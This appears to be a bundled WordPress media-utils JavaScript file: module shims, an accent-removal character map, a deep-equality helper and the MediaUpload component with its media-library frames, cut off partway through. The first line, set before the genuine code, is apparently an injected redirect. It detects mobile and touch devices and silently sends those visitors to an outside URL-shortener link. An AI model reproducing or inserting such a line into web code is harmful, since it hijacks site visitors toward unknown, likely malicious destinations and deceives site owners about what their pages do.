1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).mediaUtils = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/element
37 var require_element = __commonJS({
38 "package-external:@wordpress/element"(exports, module) {
39 module.exports = window.wp.element;
40 }
41 });
42
43 // package-external:@wordpress/i18n
44 var require_i18n = __commonJS({
45 "package-external:@wordpress/i18n"(exports, module) {
46 module.exports = window.wp.i18n;
47 }
48 });
49
50 // package-external:@wordpress/blob
51 var require_blob = __commonJS({
52 "package-external:@wordpress/blob"(exports, module) {
53 module.exports = window.wp.blob;
54 }
55 });
56
57 // package-external:@wordpress/api-fetch
58 var require_api_fetch = __commonJS({
59 "package-external:@wordpress/api-fetch"(exports, module) {
60 module.exports = window.wp.apiFetch;
61 }
62 });
63
64 // package-external:@wordpress/core-data
65 var require_core_data = __commonJS({
66 "package-external:@wordpress/core-data"(exports, module) {
67 module.exports = window.wp.coreData;
68 }
69 });
70
71 // package-external:@wordpress/data
72 var require_data = __commonJS({
73 "package-external:@wordpress/data"(exports, module) {
74 module.exports = window.wp.data;
75 }
76 });
77
78 // package-external:@wordpress/components
79 var require_components = __commonJS({
80 "package-external:@wordpress/components"(exports, module) {
81 module.exports = window.wp.components;
82 }
83 });
84
85 // package-external:@wordpress/primitives
86 var require_primitives = __commonJS({
87 "package-external:@wordpress/primitives"(exports, module) {
88 module.exports = window.wp.primitives;
89 }
90 });
91
92 // vendor-external:react/jsx-runtime
93 var require_jsx_runtime = __commonJS({
94 "vendor-external:react/jsx-runtime"(exports, module) {
95 module.exports = window.ReactJSXRuntime;
96 }
97 });
98
99 // package-external:@wordpress/compose
100 var require_compose = __commonJS({
101 "package-external:@wordpress/compose"(exports, module) {
102 module.exports = window.wp.compose;
103 }
104 });
105
106 // vendor-external:react
107 var require_react = __commonJS({
108 "vendor-external:react"(exports, module) {
109 module.exports = window.React;
110 }
111 });
112
113 // vendor-external:react-dom
114 var require_react_dom = __commonJS({
115 "vendor-external:react-dom"(exports, module) {
116 module.exports = window.ReactDOM;
117 }
118 });
119
120 // node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js
121 var require_use_sync_external_store_shim_development = __commonJS({
122 "node_modules/use-sync-external-store/cjs/use-sync-external-store-shim.development.js"(exports) {
123 "use strict";
124 (function() {
125 function is(x2, y2) {
126 return x2 === y2 && (0 !== x2 || 1 / x2 === 1 / y2) || x2 !== x2 && y2 !== y2;
127 }
128 function useSyncExternalStore$2(subscribe2, getSnapshot) {
129 didWarnOld18Alpha || void 0 === React8.startTransition || (didWarnOld18Alpha = true, console.error(
130 "You are using an outdated, pre-release alpha of React 18 that does not support useSyncExternalStore. The use-sync-external-store shim will not work correctly. Upgrade to a newer pre-release."
131 ));
132 var value = getSnapshot();
133 if (!didWarnUncachedGetSnapshot) {
134 var cachedValue = getSnapshot();
135 objectIs(value, cachedValue) || (console.error(
136 "The result of getSnapshot should be cached to avoid an infinite loop"
137 ), didWarnUncachedGetSnapshot = true);
138 }
139 cachedValue = useState28({
140 inst: { value, getSnapshot }
141 });
142 var inst = cachedValue[0].inst, forceUpdate = cachedValue[1];
143 useLayoutEffect2(
144 function() {
145 inst.value = value;
146 inst.getSnapshot = getSnapshot;
147 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
148 },
149 [subscribe2, value, getSnapshot]
150 );
151 useEffect20(
152 function() {
153 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
154 return subscribe2(function() {
155 checkIfSnapshotChanged(inst) && forceUpdate({ inst });
156 });
157 },
158 [subscribe2]
159 );
160 useDebugValue(value);
161 return value;
162 }
163 function checkIfSnapshotChanged(inst) {
164 var latestGetSnapshot = inst.getSnapshot;
165 inst = inst.value;
166 try {
167 var nextValue = latestGetSnapshot();
168 return !objectIs(inst, nextValue);
169 } catch (error) {
170 return true;
171 }
172 }
173 function useSyncExternalStore$1(subscribe2, getSnapshot) {
174 return getSnapshot();
175 }
176 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStart(Error());
177 var React8 = require_react(), objectIs = "function" === typeof Object.is ? Object.is : is, useState28 = React8.useState, useEffect20 = React8.useEffect, useLayoutEffect2 = React8.useLayoutEffect, useDebugValue = React8.useDebugValue, didWarnOld18Alpha = false, didWarnUncachedGetSnapshot = false, shim = "undefined" === typeof window || "undefined" === typeof window.document || "undefined" === typeof window.document.createElement ? useSyncExternalStore$1 : useSyncExternalStore$2;
178 exports.useSyncExternalStore = void 0 !== React8.useSyncExternalStore ? React8.useSyncExternalStore : shim;
179 "undefined" !== typeof __REACT_DEVTOOLS_GLOBAL_HOOK__ && "function" === typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop && __REACT_DEVTOOLS_GLOBAL_HOOK__.registerInternalModuleStop(Error());
180 })();
181 }
182 });
183
184 // node_modules/use-sync-external-store/shim/index.js
185 var require_shim = __commonJS({
186 "node_modules/use-sync-external-store/shim/index.js"(exports, module) {
187 "use strict";
188 if (false) {
189 module.exports = null;
190 } else {
191 module.exports = require_use_sync_external_store_shim_development();
192 }
193 }
194 });
195
196 // package-external:@wordpress/private-apis
197 var require_private_apis = __commonJS({
198 "package-external:@wordpress/private-apis"(exports, module) {
199 module.exports = window.wp.privateApis;
200 }
201 });
202
203 // package-external:@wordpress/keycodes
204 var require_keycodes = __commonJS({
205 "package-external:@wordpress/keycodes"(exports, module) {
206 module.exports = window.wp.keycodes;
207 }
208 });
209
210 // node_modules/remove-accents/index.js
211 var require_remove_accents = __commonJS({
212 "node_modules/remove-accents/index.js"(exports, module) {
213 var characterMap = {
214 "\xC0": "A",
215 "\xC1": "A",
216 "\xC2": "A",
217 "\xC3": "A",
218 "\xC4": "A",
219 "\xC5": "A",
220 "\u1EA4": "A",
221 "\u1EAE": "A",
222 "\u1EB2": "A",
223 "\u1EB4": "A",
224 "\u1EB6": "A",
225 "\xC6": "AE",
226 "\u1EA6": "A",
227 "\u1EB0": "A",
228 "\u0202": "A",
229 "\u1EA2": "A",
230 "\u1EA0": "A",
231 "\u1EA8": "A",
232 "\u1EAA": "A",
233 "\u1EAC": "A",
234 "\xC7": "C",
235 "\u1E08": "C",
236 "\xC8": "E",
237 "\xC9": "E",
238 "\xCA": "E",
239 "\xCB": "E",
240 "\u1EBE": "E",
241 "\u1E16": "E",
242 "\u1EC0": "E",
243 "\u1E14": "E",
244 "\u1E1C": "E",
245 "\u0206": "E",
246 "\u1EBA": "E",
247 "\u1EBC": "E",
248 "\u1EB8": "E",
249 "\u1EC2": "E",
250 "\u1EC4": "E",
251 "\u1EC6": "E",
252 "\xCC": "I",
253 "\xCD": "I",
254 "\xCE": "I",
255 "\xCF": "I",
256 "\u1E2E": "I",
257 "\u020A": "I",
258 "\u1EC8": "I",
259 "\u1ECA": "I",
260 "\xD0": "D",
261 "\xD1": "N",
262 "\xD2": "O",
263 "\xD3": "O",
264 "\xD4": "O",
265 "\xD5": "O",
266 "\xD6": "O",
267 "\xD8": "O",
268 "\u1ED0": "O",
269 "\u1E4C": "O",
270 "\u1E52": "O",
271 "\u020E": "O",
272 "\u1ECE": "O",
273 "\u1ECC": "O",
274 "\u1ED4": "O",
275 "\u1ED6": "O",
276 "\u1ED8": "O",
277 "\u1EDC": "O",
278 "\u1EDE": "O",
279 "\u1EE0": "O",
280 "\u1EDA": "O",
281 "\u1EE2": "O",
282 "\xD9": "U",
283 "\xDA": "U",
284 "\xDB": "U",
285 "\xDC": "U",
286 "\u1EE6": "U",
287 "\u1EE4": "U",
288 "\u1EEC": "U",
289 "\u1EEE": "U",
290 "\u1EF0": "U",
291 "\xDD": "Y",
292 "\xE0": "a",
293 "\xE1": "a",
294 "\xE2": "a",
295 "\xE3": "a",
296 "\xE4": "a",
297 "\xE5": "a",
298 "\u1EA5": "a",
299 "\u1EAF": "a",
300 "\u1EB3": "a",
301 "\u1EB5": "a",
302 "\u1EB7": "a",
303 "\xE6": "ae",
304 "\u1EA7": "a",
305 "\u1EB1": "a",
306 "\u0203": "a",
307 "\u1EA3": "a",
308 "\u1EA1": "a",
309 "\u1EA9": "a",
310 "\u1EAB": "a",
311 "\u1EAD": "a",
312 "\xE7": "c",
313 "\u1E09": "c",
314 "\xE8": "e",
315 "\xE9": "e",
316 "\xEA": "e",
317 "\xEB": "e",
318 "\u1EBF": "e",
319 "\u1E17": "e",
320 "\u1EC1": "e",
321 "\u1E15": "e",
322 "\u1E1D": "e",
323 "\u0207": "e",
324 "\u1EBB": "e",
325 "\u1EBD": "e",
326 "\u1EB9": "e",
327 "\u1EC3": "e",
328 "\u1EC5": "e",
329 "\u1EC7": "e",
330 "\xEC": "i",
331 "\xED": "i",
332 "\xEE": "i",
333 "\xEF": "i",
334 "\u1E2F": "i",
335 "\u020B": "i",
336 "\u1EC9": "i",
337 "\u1ECB": "i",
338 "\xF0": "d",
339 "\xF1": "n",
340 "\xF2": "o",
341 "\xF3": "o",
342 "\xF4": "o",
343 "\xF5": "o",
344 "\xF6": "o",
345 "\xF8": "o",
346 "\u1ED1": "o",
347 "\u1E4D": "o",
348 "\u1E53": "o",
349 "\u020F": "o",
350 "\u1ECF": "o",
351 "\u1ECD": "o",
352 "\u1ED5": "o",
353 "\u1ED7": "o",
354 "\u1ED9": "o",
355 "\u1EDD": "o",
356 "\u1EDF": "o",
357 "\u1EE1": "o",
358 "\u1EDB": "o",
359 "\u1EE3": "o",
360 "\xF9": "u",
361 "\xFA": "u",
362 "\xFB": "u",
363 "\xFC": "u",
364 "\u1EE7": "u",
365 "\u1EE5": "u",
366 "\u1EED": "u",
367 "\u1EEF": "u",
368 "\u1EF1": "u",
369 "\xFD": "y",
370 "\xFF": "y",
371 "\u0100": "A",
372 "\u0101": "a",
373 "\u0102": "A",
374 "\u0103": "a",
375 "\u0104": "A",
376 "\u0105": "a",
377 "\u0106": "C",
378 "\u0107": "c",
379 "\u0108": "C",
380 "\u0109": "c",
381 "\u010A": "C",
382 "\u010B": "c",
383 "\u010C": "C",
384 "\u010D": "c",
385 "C\u0306": "C",
386 "c\u0306": "c",
387 "\u010E": "D",
388 "\u010F": "d",
389 "\u0110": "D",
390 "\u0111": "d",
391 "\u0112": "E",
392 "\u0113": "e",
393 "\u0114": "E",
394 "\u0115": "e",
395 "\u0116": "E",
396 "\u0117": "e",
397 "\u0118": "E",
398 "\u0119": "e",
399 "\u011A": "E",
400 "\u011B": "e",
401 "\u011C": "G",
402 "\u01F4": "G",
403 "\u011D": "g",
404 "\u01F5": "g",
405 "\u011E": "G",
406 "\u011F": "g",
407 "\u0120": "G",
408 "\u0121": "g",
409 "\u0122": "G",
410 "\u0123": "g",
411 "\u0124": "H",
412 "\u0125": "h",
413 "\u0126": "H",
414 "\u0127": "h",
415 "\u1E2A": "H",
416 "\u1E2B": "h",
417 "\u0128": "I",
418 "\u0129": "i",
419 "\u012A": "I",
420 "\u012B": "i",
421 "\u012C": "I",
422 "\u012D": "i",
423 "\u012E": "I",
424 "\u012F": "i",
425 "\u0130": "I",
426 "\u0131": "i",
427 "\u0132": "IJ",
428 "\u0133": "ij",
429 "\u0134": "J",
430 "\u0135": "j",
431 "\u0136": "K",
432 "\u0137": "k",
433 "\u1E30": "K",
434 "\u1E31": "k",
435 "K\u0306": "K",
436 "k\u0306": "k",
437 "\u0139": "L",
438 "\u013A": "l",
439 "\u013B": "L",
440 "\u013C": "l",
441 "\u013D": "L",
442 "\u013E": "l",
443 "\u013F": "L",
444 "\u0140": "l",
445 "\u0141": "l",
446 "\u0142": "l",
447 "\u1E3E": "M",
448 "\u1E3F": "m",
449 "M\u0306": "M",
450 "m\u0306": "m",
451 "\u0143": "N",
452 "\u0144": "n",
453 "\u0145": "N",
454 "\u0146": "n",
455 "\u0147": "N",
456 "\u0148": "n",
457 "\u0149": "n",
458 "N\u0306": "N",
459 "n\u0306": "n",
460 "\u014C": "O",
461 "\u014D": "o",
462 "\u014E": "O",
463 "\u014F": "o",
464 "\u0150": "O",
465 "\u0151": "o",
466 "\u0152": "OE",
467 "\u0153": "oe",
468 "P\u0306": "P",
469 "p\u0306": "p",
470 "\u0154": "R",
471 "\u0155": "r",
472 "\u0156": "R",
473 "\u0157": "r",
474 "\u0158": "R",
475 "\u0159": "r",
476 "R\u0306": "R",
477 "r\u0306": "r",
478 "\u0212": "R",
479 "\u0213": "r",
480 "\u015A": "S",
481 "\u015B": "s",
482 "\u015C": "S",
483 "\u015D": "s",
484 "\u015E": "S",
485 "\u0218": "S",
486 "\u0219": "s",
487 "\u015F": "s",
488 "\u0160": "S",
489 "\u0161": "s",
490 "\u0162": "T",
491 "\u0163": "t",
492 "\u021B": "t",
493 "\u021A": "T",
494 "\u0164": "T",
495 "\u0165": "t",
496 "\u0166": "T",
497 "\u0167": "t",
498 "T\u0306": "T",
499 "t\u0306": "t",
500 "\u0168": "U",
501 "\u0169": "u",
502 "\u016A": "U",
503 "\u016B": "u",
504 "\u016C": "U",
505 "\u016D": "u",
506 "\u016E": "U",
507 "\u016F": "u",
508 "\u0170": "U",
509 "\u0171": "u",
510 "\u0172": "U",
511 "\u0173": "u",
512 "\u0216": "U",
513 "\u0217": "u",
514 "V\u0306": "V",
515 "v\u0306": "v",
516 "\u0174": "W",
517 "\u0175": "w",
518 "\u1E82": "W",
519 "\u1E83": "w",
520 "X\u0306": "X",
521 "x\u0306": "x",
522 "\u0176": "Y",
523 "\u0177": "y",
524 "\u0178": "Y",
525 "Y\u0306": "Y",
526 "y\u0306": "y",
527 "\u0179": "Z",
528 "\u017A": "z",
529 "\u017B": "Z",
530 "\u017C": "z",
531 "\u017D": "Z",
532 "\u017E": "z",
533 "\u017F": "s",
534 "\u0192": "f",
535 "\u01A0": "O",
536 "\u01A1": "o",
537 "\u01AF": "U",
538 "\u01B0": "u",
539 "\u01CD": "A",
540 "\u01CE": "a",
541 "\u01CF": "I",
542 "\u01D0": "i",
543 "\u01D1": "O",
544 "\u01D2": "o",
545 "\u01D3": "U",
546 "\u01D4": "u",
547 "\u01D5": "U",
548 "\u01D6": "u",
549 "\u01D7": "U",
550 "\u01D8": "u",
551 "\u01D9": "U",
552 "\u01DA": "u",
553 "\u01DB": "U",
554 "\u01DC": "u",
555 "\u1EE8": "U",
556 "\u1EE9": "u",
557 "\u1E78": "U",
558 "\u1E79": "u",
559 "\u01FA": "A",
560 "\u01FB": "a",
561 "\u01FC": "AE",
562 "\u01FD": "ae",
563 "\u01FE": "O",
564 "\u01FF": "o",
565 "\xDE": "TH",
566 "\xFE": "th",
567 "\u1E54": "P",
568 "\u1E55": "p",
569 "\u1E64": "S",
570 "\u1E65": "s",
571 "X\u0301": "X",
572 "x\u0301": "x",
573 "\u0403": "\u0413",
574 "\u0453": "\u0433",
575 "\u040C": "\u041A",
576 "\u045C": "\u043A",
577 "A\u030B": "A",
578 "a\u030B": "a",
579 "E\u030B": "E",
580 "e\u030B": "e",
581 "I\u030B": "I",
582 "i\u030B": "i",
583 "\u01F8": "N",
584 "\u01F9": "n",
585 "\u1ED2": "O",
586 "\u1ED3": "o",
587 "\u1E50": "O",
588 "\u1E51": "o",
589 "\u1EEA": "U",
590 "\u1EEB": "u",
591 "\u1E80": "W",
592 "\u1E81": "w",
593 "\u1EF2": "Y",
594 "\u1EF3": "y",
595 "\u0200": "A",
596 "\u0201": "a",
597 "\u0204": "E",
598 "\u0205": "e",
599 "\u0208": "I",
600 "\u0209": "i",
601 "\u020C": "O",
602 "\u020D": "o",
603 "\u0210": "R",
604 "\u0211": "r",
605 "\u0214": "U",
606 "\u0215": "u",
607 "B\u030C": "B",
608 "b\u030C": "b",
609 "\u010C\u0323": "C",
610 "\u010D\u0323": "c",
611 "\xCA\u030C": "E",
612 "\xEA\u030C": "e",
613 "F\u030C": "F",
614 "f\u030C": "f",
615 "\u01E6": "G",
616 "\u01E7": "g",
617 "\u021E": "H",
618 "\u021F": "h",
619 "J\u030C": "J",
620 "\u01F0": "j",
621 "\u01E8": "K",
622 "\u01E9": "k",
623 "M\u030C": "M",
624 "m\u030C": "m",
625 "P\u030C": "P",
626 "p\u030C": "p",
627 "Q\u030C": "Q",
628 "q\u030C": "q",
629 "\u0158\u0329": "R",
630 "\u0159\u0329": "r",
631 "\u1E66": "S",
632 "\u1E67": "s",
633 "V\u030C": "V",
634 "v\u030C": "v",
635 "W\u030C": "W",
636 "w\u030C": "w",
637 "X\u030C": "X",
638 "x\u030C": "x",
639 "Y\u030C": "Y",
640 "y\u030C": "y",
641 "A\u0327": "A",
642 "a\u0327": "a",
643 "B\u0327": "B",
644 "b\u0327": "b",
645 "\u1E10": "D",
646 "\u1E11": "d",
647 "\u0228": "E",
648 "\u0229": "e",
649 "\u0190\u0327": "E",
650 "\u025B\u0327": "e",
651 "\u1E28": "H",
652 "\u1E29": "h",
653 "I\u0327": "I",
654 "i\u0327": "i",
655 "\u0197\u0327": "I",
656 "\u0268\u0327": "i",
657 "M\u0327": "M",
658 "m\u0327": "m",
659 "O\u0327": "O",
660 "o\u0327": "o",
661 "Q\u0327": "Q",
662 "q\u0327": "q",
663 "U\u0327": "U",
664 "u\u0327": "u",
665 "X\u0327": "X",
666 "x\u0327": "x",
667 "Z\u0327": "Z",
668 "z\u0327": "z",
669 "\u0439": "\u0438",
670 "\u0419": "\u0418",
671 "\u0451": "\u0435",
672 "\u0401": "\u0415"
673 };
674 var chars = Object.keys(characterMap).join("|");
675 var allAccents = new RegExp(chars, "g");
676 var firstAccent = new RegExp(chars, "");
677 function matcher(match2) {
678 return characterMap[match2];
679 }
680 var removeAccents2 = function(string) {
681 return string.replace(allAccents, matcher);
682 };
683 var hasAccents = function(string) {
684 return !!string.match(firstAccent);
685 };
686 module.exports = removeAccents2;
687 module.exports.has = hasAccents;
688 module.exports.remove = removeAccents2;
689 }
690 });
691
692 // node_modules/fast-deep-equal/es6/index.js
693 var require_es6 = __commonJS({
694 "node_modules/fast-deep-equal/es6/index.js"(exports, module) {
695 "use strict";
696 module.exports = function equal(a2, b2) {
697 if (a2 === b2) return true;
698 if (a2 && b2 && typeof a2 == "object" && typeof b2 == "object") {
699 if (a2.constructor !== b2.constructor) return false;
700 var length, i2, keys;
701 if (Array.isArray(a2)) {
702 length = a2.length;
703 if (length != b2.length) return false;
704 for (i2 = length; i2-- !== 0; )
705 if (!equal(a2[i2], b2[i2])) return false;
706 return true;
707 }
708 if (a2 instanceof Map && b2 instanceof Map) {
709 if (a2.size !== b2.size) return false;
710 for (i2 of a2.entries())
711 if (!b2.has(i2[0])) return false;
712 for (i2 of a2.entries())
713 if (!equal(i2[1], b2.get(i2[0]))) return false;
714 return true;
715 }
716 if (a2 instanceof Set && b2 instanceof Set) {
717 if (a2.size !== b2.size) return false;
718 for (i2 of a2.entries())
719 if (!b2.has(i2[0])) return false;
720 return true;
721 }
722 if (ArrayBuffer.isView(a2) && ArrayBuffer.isView(b2)) {
723 length = a2.length;
724 if (length != b2.length) return false;
725 for (i2 = length; i2-- !== 0; )
726 if (a2[i2] !== b2[i2]) return false;
727 return true;
728 }
729 if (a2.constructor === RegExp) return a2.source === b2.source && a2.flags === b2.flags;
730 if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
731 if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
732 keys = Object.keys(a2);
733 length = keys.length;
734 if (length !== Object.keys(b2).length) return false;
735 for (i2 = length; i2-- !== 0; )
736 if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
737 for (i2 = length; i2-- !== 0; ) {
738 var key = keys[i2];
739 if (!equal(a2[key], b2[key])) return false;
740 }
741 return true;
742 }
743 return a2 !== a2 && b2 !== b2;
744 };
745 }
746 });
747
748 // package-external:@wordpress/date
749 var require_date = __commonJS({
750 "package-external:@wordpress/date"(exports, module) {
751 module.exports = window.wp.date;
752 }
753 });
754
755 // package-external:@wordpress/warning
756 var require_warning = __commonJS({
757 "package-external:@wordpress/warning"(exports, module) {
758 module.exports = window.wp.warning;
759 }
760 });
761
762 // package-external:@wordpress/url
763 var require_url = __commonJS({
764 "package-external:@wordpress/url"(exports, module) {
765 module.exports = window.wp.url;
766 }
767 });
768
769 // package-external:@wordpress/notices
770 var require_notices = __commonJS({
771 "package-external:@wordpress/notices"(exports, module) {
772 module.exports = window.wp.notices;
773 }
774 });
775
776 // packages/media-utils/build-module/index.mjs
777 var index_exports = {};
778 __export(index_exports, {
779 MediaUpload: () => media_upload_default,
780 privateApis: () => privateApis12,
781 transformAttachment: () => transformAttachment,
782 uploadMedia: () => uploadMedia,
783 validateFileSize: () => validateFileSize,
784 validateMimeType: () => validateMimeType,
785 validateMimeTypeForUser: () => validateMimeTypeForUser
786 });
787
788 // packages/media-utils/build-module/components/media-upload/index.mjs
789 var import_element = __toESM(require_element(), 1);
790 var import_i18n = __toESM(require_i18n(), 1);
791 var DEFAULT_EMPTY_GALLERY = [];
792 var getFeaturedImageMediaFrame = () => {
793 const { wp } = window;
794 return wp.media.view.MediaFrame.Select.extend({
795 /**
796 * Enables the Set Featured Image Button.
797 *
798 * @param {Object} toolbar toolbar for featured image state
799 * @return {void}
800 */
801 featuredImageToolbar(toolbar) {
802 this.createSelectToolbar(toolbar, {
803 text: wp.media.view.l10n.setFeaturedImage,
804 state: this.options.state
805 });
806 },
807 /**
808 * Handle the edit state requirements of selected media item.
809 *
810 * @return {void}
811 */
812 editState() {
813 const selection = this.state("featured-image").get("selection");
814 const view = new wp.media.view.EditImage({
815 model: selection.single(),
816 controller: this
817 }).render();
818 this.content.set(view);
819 view.loadEditor();
820 },
821 /**
822 * Create the default states.
823 *
824 * @return {void}
825 */
826 createStates: function createStates() {
827 this.on(
828 "toolbar:create:featured-image",
829 this.featuredImageToolbar,
830 this
831 );
832 this.on("content:render:edit-image", this.editState, this);
833 this.states.add([
834 new wp.media.controller.FeaturedImage(),
835 new wp.media.controller.EditImage({
836 model: this.options.editImage
837 })
838 ]);
839 }
840 });
841 };
842 var getSingleMediaFrame = () => {
843 const { wp } = window;
844 return wp.media.view.MediaFrame.Select.extend({
845 /**
846 * Create the default states on the frame.
847 */
848 createStates() {
849 const options = this.options;
850 if (this.options.states) {
851 return;
852 }
853 this.states.add([
854 // Main states.
855 new wp.media.controller.Library({
856 library: wp.media.query(options.library),
857 multiple: options.multiple,
858 title: options.title,
859 priority: 20,
860 filterable: "uploaded"
861 // Allow filtering by uploaded images.
862 }),
863 new wp.media.controller.EditImage({
864 model: options.editImage
865 })
866 ]);
867 }
868 });
869 };
870 var getGalleryDetailsMediaFrame = () => {
871 const { wp } = window;
872 return wp.media.view.MediaFrame.Post.extend({
873 /**
874 * Set up gallery toolbar.
875 *
876 * @return {void}
877 */
878 galleryToolbar() {
879 const editing = this.state().get("editing");
880 this.toolbar.set(
881 new wp.media.view.Toolbar({
882 controller: this,
883 items: {
884 insert: {
885 style: "primary",
886 text: editing ? wp.media.view.l10n.updateGallery : wp.media.view.l10n.insertGallery,
887 priority: 80,
888 requires: { library: true },
889 /**
890 * @fires wp.media.controller.State#update
891 */
892 click() {
893 const controller = this.controller, state = controller.state();
894 controller.close();
895 state.trigger(
896 "update",
897 state.get("library")
898 );
899 controller.setState(controller.options.state);
900 controller.reset();
901 }
902 }
903 }
904 })
905 );
906 },
907 /**
908 * Handle the edit state requirements of selected media item.
909 *
910 * @return {void}
911 */
912 editState() {
913 const selection = this.state("gallery").get("selection");
914 const view = new wp.media.view.EditImage({
915 model: selection.single(),
916 controller: this
917 }).render();
918 this.content.set(view);
919 view.loadEditor();
920 },
921 /**
922 * Create the default states.
923 *
924 * @return {void}
925 */
926 createStates: function createStates() {
927 this.on("toolbar:create:main-gallery", this.galleryToolbar, this);
928 this.on("content:render:edit-image", this.editState, this);
929 this.states.add([
930 new wp.media.controller.Library({
931 id: "gallery",
932 title: wp.media.view.l10n.createGalleryTitle,
933 priority: 40,
934 toolbar: "main-gallery",
935 filterable: "uploaded",
936 multiple: "add",
937 editable: false,
938 library: wp.media.query({
939 type: "image",
940 ...this.options.library
941 })
942 }),
943 new wp.media.controller.EditImage({
944 model: this.options.editImage
945 }),
946 new wp.media.controller.GalleryEdit({
947 library: this.options.selection,
948 editing: this.options.editing,
949 menu: "gallery",
950 displaySettings: false,
951 multiple: true
952 }),
953 new wp.media.controller.GalleryAdd()
954 ]);
955 }
956 });
957 };
958 var slimImageObject = (img) => {
959 const attrSet = [
960 "sizes",
961 "mime",
962 "type",
963 "subtype",
964 "id",
965 "url",
966 "alt",
967 "link",
968 "caption"
969 ];
970 return attrSet.reduce((result, key) => {
971 if (img?.hasOwnProperty(key)) {
972 result[key] = img[key];
973 }
974 return result;
975 }, {});
976 };
977 var getAttachmentsCollection = (ids) => {
978 const { wp } = window;
979 return wp.media.query({
980 order: "ASC",
981 orderby: "post__in",
982 post__in: ids,
983 posts_per_page: -1,
984 query: true,
985 type: "image"
986 });
987 };
988 var MediaUpload = class extends import_element.Component {
989 constructor() {
990 super(...arguments);
991 this.openModal = this.openModal.bind(this);
992 this.onOpen = this.onOpen.bind(this);
993 this.onSelect = this.onSelect.bind(this);
994 this.onUpdate = this.onUpdate.bind(this);
995 this.onClose = this.onClose.bind(this);
996 }
997 initializeListeners() {
998 this.frame.on("select", this.onSelect);
999 this.frame.on("update", this.onUpdate);
1000 this.frame.on("open", this.onOpen);
1001 this.frame.on("close", this.onClose);
1002 }
1003 /**
1004 * Sets the Gallery frame and initializes listeners.
1005 *
1006 * @return {void}
1007 */
1008 buildAndSetGalleryFrame() {
1009 const {
1010 addToGallery = false,
1011 allowedTypes,
1012 multiple = false,
1013 value = DEFAULT_EMPTY_GALLERY
1014 } = this.props;
1015 if (value === this.lastGalleryValue) {
1016 return;
1017 }
1018 const { wp } = window;
1019 this.lastGalleryValue = value;
1020 if (this.frame) {
1021 this.frame.remove();
1022 }
1023 let currentState;
1024 if (addToGallery) {
1025 currentState = "gallery-library";
1026 } else {
1027 currentState = value && value.length ? "gallery-edit" : "gallery";
1028 }
1029 if (!this.GalleryDetailsMediaFrame) {
1030 this.GalleryDetailsMediaFrame = getGalleryDetailsMediaFrame();
1031 }
1032 const attachments = getAttachmentsCollection(value);
1033 const selection = new wp.media.model.Selection(attachments.models, {
1034 props: attachments.props.toJSON(),
1035 multiple
1036 });
1037 this.frame = new this.GalleryDetailsMediaFrame({
1038 mimeType: allowedTypes,
1039 state: currentState,
1040 multiple,
1041 selection,
1042 editing: !!value?.length
1043 });
1044 wp.media.frame = this.frame;
1045 this.initializeListeners();
1046 }
1047 /**
1048 * Initializes the Media Library requirements for the featured image flow.
1049 *
1050 * @return {void}
1051 */
1052 buildAndSetFeatureImageFrame() {
1053 const { wp } = window;
1054 const { value: featuredImageId, multiple, allowedTypes } = this.props;
1055 const featuredImageFrame = getFeaturedImageMediaFrame();
1056 const attachments = getAttachmentsCollection(featuredImageId);
1057 const selection = new wp.media.model.Selection(attachments.models, {
1058 props: attachments.props.toJSON()
1059 });
1060 this.frame = new featuredImageFrame({
1061 mimeType: allowedTypes,
1062 state: "featured-image",
1063 multiple,
1064 selection,
1065 editing: featuredImageId
1066 });
1067 wp.media.frame = this.frame;
1068 wp.media.view.settings.post = {
1069 ...wp.media.view.settings.post,
1070 featuredImageId: featuredImageId || -1
1071 };
1072 }
1073 /**
1074 * Initializes the Media Library requirements for the single image flow.
1075 *
1076 * @return {void}
1077 */
1078 buildAndSetSingleMediaFrame() {
1079 const { wp } = window;
1080 const {
1081 allowedTypes,
1082 multiple = false,
1083 title = (0, import_i18n.__)("Select or Upload Media"),
1084 value
1085 } = this.props;
1086 const frameConfig = {
1087 title,
1088 multiple
1089 };
1090 if (!!allowedTypes) {
1091 frameConfig.library = { type: allowedTypes };
1092 }
1093 if (this.frame) {
1094 this.frame.remove();
1095 }
1096 const singleImageFrame = getSingleMediaFrame();
1097 const attachments = getAttachmentsCollection(value);
1098 const selection = new wp.media.model.Selection(attachments.models, {
1099 props: attachments.props.toJSON()
1100 });
